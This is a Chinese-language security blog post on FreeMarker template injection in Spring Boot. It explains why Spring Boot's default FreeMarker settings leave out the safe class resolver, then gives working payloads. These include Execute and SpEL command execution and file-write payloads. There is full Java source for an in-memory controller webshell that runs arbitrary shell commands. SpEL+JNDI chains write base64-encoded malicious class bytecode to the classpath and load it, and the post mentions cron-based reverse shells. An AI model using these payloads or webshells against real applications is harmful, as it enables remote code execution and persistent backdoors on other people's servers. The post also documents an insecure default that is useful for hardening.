SpringBoot下的SSTI攻击方式
springboot SSTI 攻击
前置知识
环境整合可以看这篇文章: Spring Boot 整合 Freemarker 模板引擎 - spring 中文网
在文章中也介绍了关于 springboot 中定义的 freemarker 宏的一些知识
spring.freemarker.expose-spring-macro-helpers
设置为true
可以暴露 spring 官方提供的宏。这些宏提供了国际化、表单绑定等等功能。这些宏定义在
spring-webmvc
模块的/org/springframework/web/servlet/view/freemarker/spring.ftl
文件中。
springMacroRequestContext 的定义是在 org.springframework.web.servlet.view.AbstractTemplateView 中
在 org.springframework.web.servlet.view.AbstractTemplateView#renderMergedOutputModel 方法中可以看到 springMacroRequestContext 是向 freemarker 模板中绑定的 org.springframework.web.servlet.support.RequestContext 类
RequestContext
这里 RequestContext 没有继承 TemplateModel 为什么在宏定义文件中可以使用${springMacroRequestContext.getMessage(" welcome.message ")} 调用方法呢?
答案也很简单,我们跟一些 Model 的传递过程,不难发现在 freemarker.template.Template#createProcessingEnvironment 方法中,对传递的 HashMap 统一做了封装
public Environment createProcessingEnvironment(Object dataModel, Writer out, ObjectWrapper wrapper) throws TemplateException, IOException { TemplateHashModel dataModelHash; if (dataModel instanceof TemplateHashModel) { dataModelHash = (TemplateHashModel)dataModel; }
简单使用 spring 中的宏可以参考:https://springdoc.cn/spring/web.html#mvc-view-freemarker-forms
创建 PersonForm 类
package com.lingx5.springssti;
public class PersonForm {
private String name;
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
}
表单模板 form.ftl
<#import "/spring.ftl" as spring/>
<html>
<form action="" method="POST">
Name:
<@spring.bind "personForm.name"/>
<input type="text"
name="${spring.status.expression}"
value="${spring.status.value!""}"/><br />
<#list spring.status.errorMessages as error> <b>${error!"Error"}</b> <br /> </#list>
<br />
<input type="submit" value="submit"/>
</form>
</html>
结果表单 result.ftl
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>Form Result</title>
</head>
<body>
<h1>Form Submitted Successfully</h1>
<p>Name: ${personForm.name!"Unknown"}</p>
</body>
</html>
请求处理器 FormController
package com.lingx5.springssti.controller;
import com.lingx5.springssti.PersonForm;
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.ModelAttribute;
import org.springframework.web.bind.annotation.PostMapping;
@Controller
public class FormController {
@GetMapping("/form")
public String showForm(Model model) {
model.addAttribute("personForm", new PersonForm());
return "form";
}
@PostMapping("/form")
public String submitForm(@ModelAttribute PersonForm personForm, Model model) {
model.addAttribute("personForm", personForm);
return "result";
}
}
可以在 org.springframework.web.servlet.view.AbstractTemplateView#renderMergedOutputModel 中打断点
看看 Spring 是如何加载宏,如何调用的
启动项目,访问 http://localhost:8080/form
来到断点处
我们接着跟 model 的处理流程
步入 FreeMarkerView#renderMergedTemplateModel,看到 exposeHelpers 是空方法
接着进入 doRender 其中 exposeModelAsRequestAttributes 是把 model 对应的键值对,暴露 为 HTTP 请求(HttpServletRequest)的属性。
步入 buildTemplateModel ,看到他把 model 封装为了 AllHttpScopesHashModel 这个类
继承了 SimpleHash
接着到 FreeMarkerView#processTemplate 方法 , 后面的 env.process() 就是模板识别填充的执行了
跟一下 freemarker.template.Template#createProcessingEnvironment 方法,把 model 强转为了 TemplateHashModel 类
这基本就是我们可以直接调用的原因
调用栈
安全策略
在 spring 3.5.4 虽然默认添加的 freemarker 的 starter 依赖包虽然为 2.3.34 版本
但是在 springboot 的 freemarker.template.Configuration 初始化的时候 (用户不做更改的情况下) 默认配置为 freemarker 2.3.0 版本
这就意味着安全策略 unsafeMethods.properties 并没有引入,且没有引入 TemplateClassResolver.SAFER_RESOLVER 安全策略防范 ?new()
创建实例
payload
Execute
${"freemarker.template.utility.Execute"?new()("calc")}
写文件
${"freemarker.template.utility.ObjectConstructor"?new()("java.io.FileWriter","d:\\1.txt").append("aaaaaa").close()}
默认路径为 项目根路径,要写木马的话还需要知道项目内部路径,
${"freemarker.template.utility.ObjectConstructor"?new()("java.io.FileWriter","1a.jsp").append("aaaaaa").close()}
但是 springboot3 以后默认不支持 jsp 解析,在 springboot2 中,只能写到 /WEB-INF/jsp/
Spring Boot 3.0 no longer supports JSPs.
If you want to use JSPs, you need to deploy your application as a traditional WAR to a servlet container.
如果写文件还是写定时任务,执行反弹 shell 吧,也有师傅研究了在 java 层面如何命令执行:springboot 写文件到 RCE
SPEL exec
${"freemarker.template.utility.ObjectConstructor"?new()("org.springframework.expression.spel.standard.SpelExpressionParser").parseExpression("T(java.lang.Runtime).getRuntime().exec(\"calc\")").getValue()}
SPEL 内存马
首先 spring 下的内存马有两种 controller 和 Interceptor 内存马,本质其实和 tomcat 中内存马的原理是一致的,都是请求处理器的动态注册。不了解的话可以看 这篇文章 ,
springboot 中常见的内存马代码
适用于 spring framework 6.0 (springboot 3.x) 以前
因为 Spring Framework 6.0(对应 Spring Boot 3.x),默认启用 PathPattern 匹配,旧构造方式与默认策略不兼容,实际等同于“不可用/易出错”,应完全迁移到 Builder,及
RequestMappingInfo.paths(...).methods(...).options(...).build()
构造方式 ,且 urlLookup 切换为 pathLookup
public void index(HttpServletRequest request, HttpServletResponse response) throws Exception {
final String controllerPath = "/su18";
// 获取当前应用上下文
WebApplicationContext context = RequestContextUtils.findWebApplicationContext(((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest());
// 通过 context 获取 RequestMappingHandlerMapping 对象
RequestMappingHandlerMapping mapping = context.getBean(RequestMappingHandlerMapping.class);
// 获取父类的 MappingRegistry 属性
Field f = mapping.getClass().getSuperclass().getSuperclass().getDeclaredField("mappingRegistry");
f.setAccessible(true);
Object mappingRegistry = f.get(mapping);
// 反射调用 MappingRegistry 的 register 方法
Class<?> c = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping$MappingRegistry");
Method[] ms = c.getDeclaredMethods();
// 判断当前路径是否已经添加
Field field = c.getDeclaredField("urlLookup");
field.setAccessible(true);
Map<String, Object> urlLookup = (Map<String, Object>) field.get(mappingRegistry);
for (String urlPath : urlLookup.keySet()) {
if (controllerPath.equals(urlPath)) {
response.getWriter().println("controller url path exist already");
return;
}
}
// 初始化一些注册需要的信息
PatternsRequestCondition url = new PatternsRequestCondition(controllerPath);
RequestMethodsRequestCondition condition = new RequestMethodsRequestCondition();
RequestMappingInfo info = new RequestMappingInfo(url, condition, null, null, null, null, null);
Class<?> myClass = DynamicUtils.getClass(CONTROLLER_CLASS_STRING);
for (Method method : ms) {
if ("register".equals(method.getName())) {
// 反射调用 MappingRegistry 的 register 方法注册 TestController 的 index
method.setAccessible(true);
method.invoke(mappingRegistry, info, myClass.newInstance(), myClass.getMethods()[0]);
response.getWriter().println("spring controller add");
}
}
}
在 spring framework 6.0 以后,稍加修改,原理不变
import jakarta.servlet.http.HttpServletRequest;
import org.springframework.http.ResponseEntity;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import org.springframework.web.servlet.support.RequestContextUtils;
import org.springframework.web.util.pattern.PathPatternParser;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.nio.charset.Charset;
import java.util.Locale;
public class memController {
public static ResponseEntity<String> test() {
String stdout;
try {
HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
boolean isWindows = System.getProperty("os.name").toLowerCase(Locale.ROOT).contains("win");
Charset charset = isWindows ? Charset.forName("GBK") : Charset.forName("UTF-8");
String cmd = request.getParameter("cmd");
String[] cmdArray = new String[]{"/bin/bash", "-c", cmd};
if(isWindows){
cmdArray = new String[]{"cmd.exe", "/c", cmd};
}
Process process = Runtime.getRuntime().exec(cmdArray);
stdout = new String(process.getInputStream().readAllBytes(),
charset);
} catch (IOException e) {
throw new RuntimeException(e);
}
return ResponseEntity.ok(stdout);
}
static {
try {
final String PATH = "/evilController";
ServletRequestAttributes attributes = (ServletRequestAttributes) RequestContextHolder.currentRequestAttributes();
HttpServletRequest request1 = attributes.getRequest();
WebApplicationContext webApplicationContext = RequestContextUtils.findWebApplicationContext(request1);
RequestMappingHandlerMapping mapping = webApplicationContext.getBean("requestMappingHandlerMapping", RequestMappingHandlerMapping.class);
Field f = mapping.getClass().getSuperclass().getSuperclass().getDeclaredField("mappingRegistry");
f.setAccessible(true);
Object mappingRegistry = f.get(mapping);
RequestMappingInfo.BuilderConfiguration config = new RequestMappingInfo.BuilderConfiguration();
config.setPatternParser(new PathPatternParser());
RequestMappingInfo requestMappingInfo =
RequestMappingInfo.paths(PATH).methods(RequestMethod.GET).options(config).build();
Method register = mappingRegistry.getClass().getDeclaredMethod("register", Object.class, Object.class, Method.class);
register.setAccessible(true);
Method method = memController.class.getDeclaredMethod("test");
register.invoke(mappingRegistry, requestMappingInfo, new memController(), method);
} catch (Exception e) {
e.printStackTrace();
}
}
}
现在项目中测试 , 直接在 IndexController 中 加入 new memController()

访问 IndexController

然后就可以访问内存马了
http://localhost:8080/evilController?cmd=whoami

测试成功打入了内存马
SPEL+JNDI 远程加载
可以打配合,但是没办法直接把 trustURLCodebase 改为 true,因为容器启动过程中会初始化,可以配合 java-JNDI(二)高版本绕过 来实现攻击,如果有反序列化可以打的话,也可以实现内存马
<#assign pas="{new javax.naming.InitialContext().lookup(\"rmi://localhost:1099/mem\")}">
${"freemarker.template.utility.ObjectConstructor"?new()("org.springframework.expression.spel.standard.SpelExpressionParser").parseExpression(pas).getValue()}
SPEL+JNDI 本地加载
不过当然我们当时分析 JNDI 攻击流程的时候,曾经也提到过这样一个特性
JNDI 为了提高性能快速加载,会先从本地的 classpath 路径下搜索这个类,有就直接加载,没有trustURLCodebase的限制,如果没有类才去远程加载
根据这一特性,我们可以先写文件到 classpath 路径下,然后再去用 jndi 加载 , 这里先用弹计算器的字节码测试
<#assign pathPas="T(java.lang.Thread).currentThread().getContextClassLoader().getResource(\"\").toString().substring(6)+\"Exec.class\"">
<#assign path="freemarker.template.utility.ObjectConstructor"?new()("org.springframework.expression.spel.standard.SpelExpressionParser").parseExpression(pathPas).getValue()?string>
${path}
<#assign evilBase64="yv66vgAAADQAHgoABwARCgASABMIABQKABIAFQcAFgcAFwcAGAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAAg8Y2xpbml0PgEADVN0YWNrTWFwVGFibGUHABYBAApTb3VyY2VGaWxlAQAJRXhlYy5qYXZhDAAIAAkHABkMABoAGwEABGNhbGMMABwAHQEAE2phdmEvbGFuZy9FeGNlcHRpb24BAARFeGVjAQAQamF2YS9sYW5nL09iamVjdAEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAGAAcAAAAAAAIAAQAIAAkAAQAKAAAAHQABAAEAAAAFKrcAAbEAAAABAAsAAAAGAAEAAAADAAgADAAJAAEACgAAAEcAAgABAAAADrgAAhIDtgAEV6cABEuxAAEAAAAJAAwABQACAAsAAAASAAQAAAAGAAkACQAMAAcADQAKAA0AAAAHAAJMBwAOAAABAA8AAAACABA=">
<#assign decPas="T(java.util.Base64).getDecoder()">
<#assign decoder="freemarker.template.utility.ObjectConstructor"?new()("org.springframework.expression.spel.standard.SpelExpressionParser").parseExpression(decPas).getValue()>
${decoder}
<#assign bytes=decoder.decode(evilBase64)>
${"freemarker.template.utility.ObjectConstructor"?new()("java.io.FileOutputStream",path).write(bytes)}
<#assign pas2="{T(java.lang.System).setProperty(\"com.sun.jndi.rmi.object.trustURLCodebase\", \"true\"),T(java.lang.System).setProperty(\"com.sun.jndi.ldap.object.trustURLCodebase\", \"true\"),new javax.naming.InitialContext().lookup(\"rmi://localhost:1099/mem\")}">
${"freemarker.template.utility.ObjectConstructor"?new()("org.springframework.expression.spel.standard.SpelExpressionParser").parseExpression(pas2).getValue()}
可以成功执行


把 evilBase64 换为内存马的类,把 rmi 的地址改一下,就可以实现内存马了
内存马Payload
<#assign pathPas="T(java.lang.Thread).currentThread().getContextClassLoader().getResource(\"\").toString().substring(6)+\"memController.class\"">
<#assign path="freemarker.template.utility.ObjectConstructor"?new()("org.springframework.expression.spel.standard.SpelExpressionParser").parseExpression(pathPas).getValue()?string>
${path}
<#assign evilBase64="yv66vgAAAD0BAgoAAgADBwAEDAAFAAYBABBqYXZhL2xhbmcvT2JqZWN0AQAGPGluaXQ+AQADKClWCgAIAAkHAAoMAAsADAEAPG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2NvbnRleHQvcmVxdWVzdC9SZXF1ZXN0Q29udGV4dEhvbGRlcgEAGGN1cnJlbnRSZXF1ZXN0QXR0cmlidXRlcwEAPSgpTG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2NvbnRleHQvcmVxdWVzdC9SZXF1ZXN0QXR0cmlidXRlczsHAA4BAEBvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9jb250ZXh0L3JlcXVlc3QvU2VydmxldFJlcXVlc3RBdHRyaWJ1dGVzCgANABAMABEAEgEACmdldFJlcXVlc3QBACsoKUxqYWthcnRhL3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3Q7CAAUAQAHb3MubmFtZQoAFgAXBwAYDAAZABoBABBqYXZhL2xhbmcvU3lzdGVtAQALZ2V0UHJvcGVydHkBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwkAHAAdBwAeDAAfACABABBqYXZhL3V0aWwvTG9jYWxlAQAEUk9PVAEAEkxqYXZhL3V0aWwvTG9jYWxlOwoAIgAjBwAkDAAlACYBABBqYXZhL2xhbmcvU3RyaW5nAQALdG9Mb3dlckNhc2UBACYoTGphdmEvdXRpbC9Mb2NhbGU7KUxqYXZhL2xhbmcvU3RyaW5nOwgAKAEAA3dpbgoAIgAqDAArACwBAAhjb250YWlucwEAGyhMamF2YS9sYW5nL0NoYXJTZXF1ZW5jZTspWggALgEAA0dCSwoAMAAxBwAyDAAzADQBABhqYXZhL25pby9jaGFyc2V0L0NoYXJzZXQBAAdmb3JOYW1lAQAuKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9uaW8vY2hhcnNldC9DaGFyc2V0OwgANgEABVVURi04CAA4AQADY21kCwA6ADsHADwMAD0AGgEAJ2pha2FydGEvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdAEADGdldFBhcmFtZXRlcggAPwEACS9iaW4vYmFzaAgAQQEAAi1jCABDAQAHY21kLmV4ZQgARQEAAi9jCgBHAEgHAEkMAEoASwEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwoARwBNDABOAE8BAARleGVjAQAoKFtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwoAUQBSBwBTDABUAFUBABFqYXZhL2xhbmcvUHJvY2VzcwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsKAFcAWAcAWQwAWgBbAQATamF2YS9pby9JbnB1dFN0cmVhbQEADHJlYWRBbGxCeXRlcwEABCgpW0IKACIAXQwABQBeAQAfKFtCTGphdmEvbmlvL2NoYXJzZXQvQ2hhcnNldDspVgcAYAEAE2phdmEvaW8vSU9FeGNlcHRpb24HAGIBABpqYXZhL2xhbmcvUnVudGltZUV4Y2VwdGlvbgoAYQBkDAAFAGUBABgoTGphdmEvbGFuZy9UaHJvd2FibGU7KVYKAGcAaAcAaQwAagBrAQAnb3JnL3NwcmluZ2ZyYW1ld29yay9odHRwL1Jlc3BvbnNlRW50aXR5AQACb2sBAD0oTGphdmEvbGFuZy9PYmplY3Q7KUxvcmcvc3ByaW5nZnJhbWV3b3JrL2h0dHAvUmVzcG9uc2VFbnRpdHk7CABtAQAPL2V2aWxDb250cm9sbGVyCgBvAHAHAHEMAHIAcwEAO29yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvc3VwcG9ydC9SZXF1ZXN0Q29udGV4dFV0aWxzAQAZZmluZFdlYkFwcGxpY2F0aW9uQ29udGV4dAEAYihMamFrYXJ0YS9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0OylMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvY29udGV4dC9XZWJBcHBsaWNhdGlvbkNvbnRleHQ7CAB1AQAccmVxdWVzdE1hcHBpbmdIYW5kbGVyTWFwcGluZwcAdwEAUm9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvbXZjL21ldGhvZC9hbm5vdGF0aW9uL1JlcXVlc3RNYXBwaW5nSGFuZGxlck1hcHBpbmcLAHkAegcAewwAfAB9AQA1b3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvY29udGV4dC9XZWJBcHBsaWNhdGlvbkNvbnRleHQBAAdnZXRCZWFuAQA3KExqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvQ2xhc3M7KUxqYXZhL2xhbmcvT2JqZWN0OwoAAgB/DACAAIEBAAhnZXRDbGFzcwEAEygpTGphdmEvbGFuZy9DbGFzczsKAIMAhAcAhQwAhgCBAQAPamF2YS9sYW5nL0NsYXNzAQANZ2V0U3VwZXJjbGFzcwgAiAEAD21hcHBpbmdSZWdpc3RyeQoAgwCKDACLAIwBABBnZXREZWNsYXJlZEZpZWxkAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL3JlZmxlY3QvRmllbGQ7CgCOAI8HAJAMAJEAkgEAF2phdmEvbGFuZy9yZWZsZWN0L0ZpZWxkAQANc2V0QWNjZXNzaWJsZQEABChaKVYKAI4AlAwAlQCWAQADZ2V0AQAmKExqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsHAJgBAFJvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9tZXRob2QvUmVxdWVzdE1hcHBpbmdJbmZvJEJ1aWxkZXJDb25maWd1cmF0aW9uCgCXAAMHAJsBADZvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi91dGlsL3BhdHRlcm4vUGF0aFBhdHRlcm5QYXJzZXIKAJoAAwoAlwCeDACfAKABABBzZXRQYXR0ZXJuUGFyc2VyAQA7KExvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi91dGlsL3BhdHRlcm4vUGF0aFBhdHRlcm5QYXJzZXI7KVYKAKIAowcApAwApQCmAQA9b3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9tdmMvbWV0aG9kL1JlcXVlc3RNYXBwaW5nSW5mbwEABXBhdGhzAQBcKFtMamF2YS9sYW5nL1N0cmluZzspTG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvbXZjL21ldGhvZC9SZXF1ZXN0TWFwcGluZ0luZm8kQnVpbGRlcjsHAKgBADVvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9iaW5kL2Fubm90YXRpb24vUmVxdWVzdE1ldGhvZAkApwCqDACrAKwBAANHRVQBADdMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvYmluZC9hbm5vdGF0aW9uL1JlcXVlc3RNZXRob2Q7CwCuAK8HALAMALEAsgEARW9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvbXZjL21ldGhvZC9SZXF1ZXN0TWFwcGluZ0luZm8kQnVpbGRlcgEAB21ldGhvZHMBAIEoW0xvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9iaW5kL2Fubm90YXRpb24vUmVxdWVzdE1ldGhvZDspTG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvbXZjL21ldGhvZC9SZXF1ZXN0TWFwcGluZ0luZm8kQnVpbGRlcjsLAK4AtAwAtQC2AQAHb3B0aW9ucwEAnShMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9tdmMvbWV0aG9kL1JlcXVlc3RNYXBwaW5nSW5mbyRCdWlsZGVyQ29uZmlndXJhdGlvbjspTG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvbXZjL21ldGhvZC9SZXF1ZXN0TWFwcGluZ0luZm8kQnVpbGRlcjsLAK4AuAwAuQC6AQAFYnVpbGQBAEEoKUxvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9tZXRob2QvUmVxdWVzdE1hcHBpbmdJbmZvOwgAvAEACHJlZ2lzdGVyBwC+AQAYamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kCgCDAMAMAMEAwgEAEWdldERlY2xhcmVkTWV0aG9kAQBAKExqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwoAvQCPBwDFAQANbWVtQ29udHJvbGxlcggAxwEABHRlc3QKAMQAAwoAvQDKDADLAMwBAAZpbnZva2UBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsHAM4BABNqYXZhL2xhbmcvRXhjZXB0aW9uCgDNANAMANEABgEAD3ByaW50U3RhY2tUcmFjZQEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAjTGNvbS9saW5neDUvbWVtU2hlbGwvbWVtQ29udHJvbGxlcjsBACsoKUxvcmcvc3ByaW5nZnJhbWV3b3JrL2h0dHAvUmVzcG9uc2VFbnRpdHk7AQAHcmVxdWVzdAEAKUxqYWthcnRhL3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3Q7AQAJaXNXaW5kb3dzAQABWgEAB2NoYXJzZXQBABpMamF2YS9uaW8vY2hhcnNldC9DaGFyc2V0OwEAEkxqYXZhL2xhbmcvU3RyaW5nOwEACGNtZEFycmF5AQATW0xqYXZhL2xhbmcvU3RyaW5nOwEAB3Byb2Nlc3MBABNMamF2YS9sYW5nL1Byb2Nlc3M7AQAGc3Rkb3V0AQABZQEAFUxqYXZhL2lvL0lPRXhjZXB0aW9uOwEADVN0YWNrTWFwVGFibGUHAOABAAlTaWduYXR1cmUBAD8oKUxvcmcvc3ByaW5nZnJhbWV3b3JrL2h0dHAvUmVzcG9uc2VFbnRpdHk8TGphdmEvbGFuZy9TdHJpbmc7PjsBAAg8Y2xpbml0PgEABFBBVEgBAAphdHRyaWJ1dGVzAQBCTG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2NvbnRleHQvcmVxdWVzdC9TZXJ2bGV0UmVxdWVzdEF0dHJpYnV0ZXM7AQAIcmVxdWVzdDEBABV3ZWJBcHBsaWNhdGlvbkNvbnRleHQBADdMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvY29udGV4dC9XZWJBcHBsaWNhdGlvbkNvbnRleHQ7AQAHbWFwcGluZwEAVExvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9tZXRob2QvYW5ub3RhdGlvbi9SZXF1ZXN0TWFwcGluZ0hhbmRsZXJNYXBwaW5nOwEAAWYBABlMamF2YS9sYW5nL3JlZmxlY3QvRmllbGQ7AQASTGphdmEvbGFuZy9PYmplY3Q7AQAGY29uZmlnAQBUTG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvbXZjL21ldGhvZC9SZXF1ZXN0TWFwcGluZ0luZm8kQnVpbGRlckNvbmZpZ3VyYXRpb247AQAScmVxdWVzdE1hcHBpbmdJbmZvAQA/TG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvbXZjL21ldGhvZC9SZXF1ZXN0TWFwcGluZ0luZm87AQAaTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBAAZtZXRob2QBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAApTb3VyY2VGaWxlAQASbWVtQ29udHJvbGxlci5qYXZhAQAMSW5uZXJDbGFzc2VzAQAUQnVpbGRlckNvbmZpZ3VyYXRpb24BAAdCdWlsZGVyACEAxAACAAAAAAADAAEABQAGAAEA0gAAAC8AAQABAAAABSq3AAGxAAAAAgDTAAAABgABAAAAFADUAAAADAABAAAABQDVANYAAAAJAMcA1wACANIAAAF0AAQABwAAAJK4AAfAAA22AA9MEhO4ABWyABu2ACESJ7YAKT0cmQALEi24AC+nAAgSNbgAL04rEje5ADkCADoEBr0AIlkDEj5TWQQSQFNZBRkEUzoFHJkAGAa9ACJZAxJCU1kEEkRTWQUZBFM6BbgARhkFtgBMOga7ACJZGQa2AFC2AFYttwBcS6cADUy7AGFZK7cAY78quABmsAABAAAAgACDAF8AAwDTAAAANgANAAAAGAAKABkAGwAaAC0AGwA3ABwATAAdAFAAHgBlACAAbwAhAIAAJQCDACMAhAAkAI0AJgDUAAAAXAAJAAoAdgDYANkAAQAbAGUA2gDbAAIALQBTANwA3QADADcASQA4AN4ABABMADQA3wDgAAUAbwARAOEA4gAGAIAAAwDjAN4AAACEAAkA5ADlAAEAjQAFAOMA3gAAAOYAAAAqAAX+ACcABwA6AUQHADD+ADgHADAHACIHAOf/AB0AAAABBwBf/AAJBwAiAOgAAAACAOkACADqAAYAAQDSAAAB2AAHAAsAAADdEmxLuAAHwAANTCu2AA9NLLgAbk4tEnQSdrkAeAMAwAB2OgQZBLYAfrYAgrYAghKHtgCJOgUZBQS2AI0ZBRkEtgCTOga7AJdZtwCZOgcZB7sAmlm3AJy2AJ0EvQAiWQMSbFO4AKEEvQCnWQOyAKlTuQCtAgAZB7kAswIAuQC3AQA6CBkGtgB+ErsGvQCDWQMSAlNZBBICU1kFEr1TtgC/OgkZCQS2AMMSxBLGA70Ag7YAvzoKGQkZBga9AAJZAxkIU1kEuwDEWbcAyFNZBRkKU7YAyVenAAhLKrYAz7EAAQAAANQA1wDNAAMA0wAAAFIAFAAAACoAAwAtAAoALgAPAC8AFAAwACMAMQA1ADIAOwAzAEQANABNADUAWQA2AGIANwCCADkAoQA6AKcAOwC0ADwA1ABAANcAPgDYAD8A3ABCANQAAAB6AAwAAwDRAOsA3gAAAAoAygDsAO0AAQAPAMUA7gDZAAIAFADAAO8A8AADACMAsQDxAPIABAA1AJ8A8wD0AAUARACQAIgA9QAGAE0AhwD2APcABwCCAFIA+AD5AAgAoQAzALwA+gAJALQAIAD7APoACgDYAAQA5AD8AAAA5gAAAAkAAvcA1wcAzQQAAgD9AAAAAgD+AP8AAAASAAIAlwCiAQAACQCuAKIBAQYJ">
<#assign decPas="T(java.util.Base64).getDecoder()">
<#assign decoder="freemarker.template.utility.ObjectConstructor"?new()("org.springframework.expression.spel.standard.SpelExpressionParser").parseExpression(decPas).getValue()>
${decoder}
<#assign bytes=decoder.decode(evilBase64)>
${"freemarker.template.utility.ObjectConstructor"?new()("java.io.FileOutputStream",path).write(bytes)}
<#assign pas2="{T(java.lang.System).setProperty(\"com.sun.jndi.rmi.object.trustURLCodebase\", \"true\"),T(java.lang.System).setProperty(\"com.sun.jndi.ldap.object.trustURLCodebase\", \"true\"),new javax.naming.InitialContext().lookup(\"rmi://localhost:1099/mem\")}">
${"freemarker.template.utility.ObjectConstructor"?new()("org.springframework.expression.spel.standard.SpelExpressionParser").parseExpression(pas2).getValue()}
访问index打入

成功写入

也可以直接使用 Mlet 封装上下文 classloader 来加载类,实现内存马
new javax.management.loading.MLet(new java.net.URL[0],Thread.currentThread().getContextClassLoader())
SPEL+Mlet 加载 (jdk8-16)
因为 ReflectUtils#defineClass() 方法 本质上调用的就是 Class.ClassLoader.defineClass() 方法,在JDK 9 引入 JPMS(Java Platform Module System)开始,核心类库被“强封装”。java.base
模块默认 不会把 java.lang
包打开给未命名模块 ,这个特性,在jdk9-16中只会警告是不安全的,不会拦截,但在jdk17中直接抛异常。绕过具体可以参考 JDK17+绕过反射限制 - Zer0peach can't think
<#assign evilBase64="yv66vgAAAD0BAgoAAgADBwAEDAAFAAYBABBqYXZhL2xhbmcvT2JqZWN0AQAGPGluaXQ+AQADKClWCgAIAAkHAAoMAAsADAEAPG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2NvbnRleHQvcmVxdWVzdC9SZXF1ZXN0Q29udGV4dEhvbGRlcgEAGGN1cnJlbnRSZXF1ZXN0QXR0cmlidXRlcwEAPSgpTG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2NvbnRleHQvcmVxdWVzdC9SZXF1ZXN0QXR0cmlidXRlczsHAA4BAEBvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9jb250ZXh0L3JlcXVlc3QvU2VydmxldFJlcXVlc3RBdHRyaWJ1dGVzCgANABAMABEAEgEACmdldFJlcXVlc3QBACsoKUxqYWthcnRhL3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3Q7CAAUAQAHb3MubmFtZQoAFgAXBwAYDAAZABoBABBqYXZhL2xhbmcvU3lzdGVtAQALZ2V0UHJvcGVydHkBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwkAHAAdBwAeDAAfACABABBqYXZhL3V0aWwvTG9jYWxlAQAEUk9PVAEAEkxqYXZhL3V0aWwvTG9jYWxlOw